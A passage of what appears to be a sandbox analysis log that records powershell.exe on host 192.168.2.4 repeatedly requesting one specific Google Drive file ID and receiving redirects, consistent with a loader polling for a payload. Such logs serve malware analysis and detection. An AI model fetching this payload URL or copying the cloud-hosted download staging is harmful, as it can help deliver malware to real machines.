8	192.168.2.4	49746	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:46:13 UTC	97	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com
2024-10-01 05:46:14 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:46:14 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-lLbVOgxGa3GypC_BcGos-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49747	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:46:19 UTC	97	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com
2024-10-01 05:46:19 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:46:19 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-fq-lvI5LES2Cy1C02ZAj-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49748	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:46:24 UTC	97	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com
2024-10-01 05:46:24 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:46:24 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-RPVb1cAl7V7dYVSQj_hgqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49750	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:46:29 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:46:29 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:46:29 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-CR1rFIDzY1hYyOVBB-vpOg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:46:34 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:46:35 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:46:35 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-m6_sWImcqmY5aJygoDuirQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:46:39 UTC	97	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com
2024-10-01 05:46:40 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:46:40 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-629b_qg4LARb0MLL9nmWIw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49755	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:46:44 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:46:45 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:46:45 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-MZJ__5oGFMSCuQ0QujlrCg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49756	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:46:49 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:46:50 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:46:50 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ab2vwVTNfJpo5UUQ7mdy8w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49757	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:46:55 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:46:55 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:46:55 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-yA4Rk4Eju8tV_VuOgayszA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49759	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:47:00 UTC	97	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com
2024-10-01 05:47:00 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:47:00 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-fBooVxGdl02CFZfpVK0NWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49760	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:47:05 UTC	97	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com
2024-10-01 05:47:05 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:47:05 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-30bz787RwNcuK5VtMrj7qw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49761	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:47:10 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:47:11 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:47:10 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-X8iq_tItZrABPDMVomidzw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49762	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:47:15 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:47:16 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:47:15 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-2GcyCkDoTLDX6IbdpecL_g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49764	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:47:21 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:47:21 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:47:21 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-q78IHXj6e7CS5p1mDtT2dQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49765	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:47:26 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:47:26 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:47:26 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-qyOMG572OKK9p7Oi0qK4bg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49766	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:47:32 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:47:32 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:47:32 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-IqVkXtVctL9fH0RIby20Bg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, 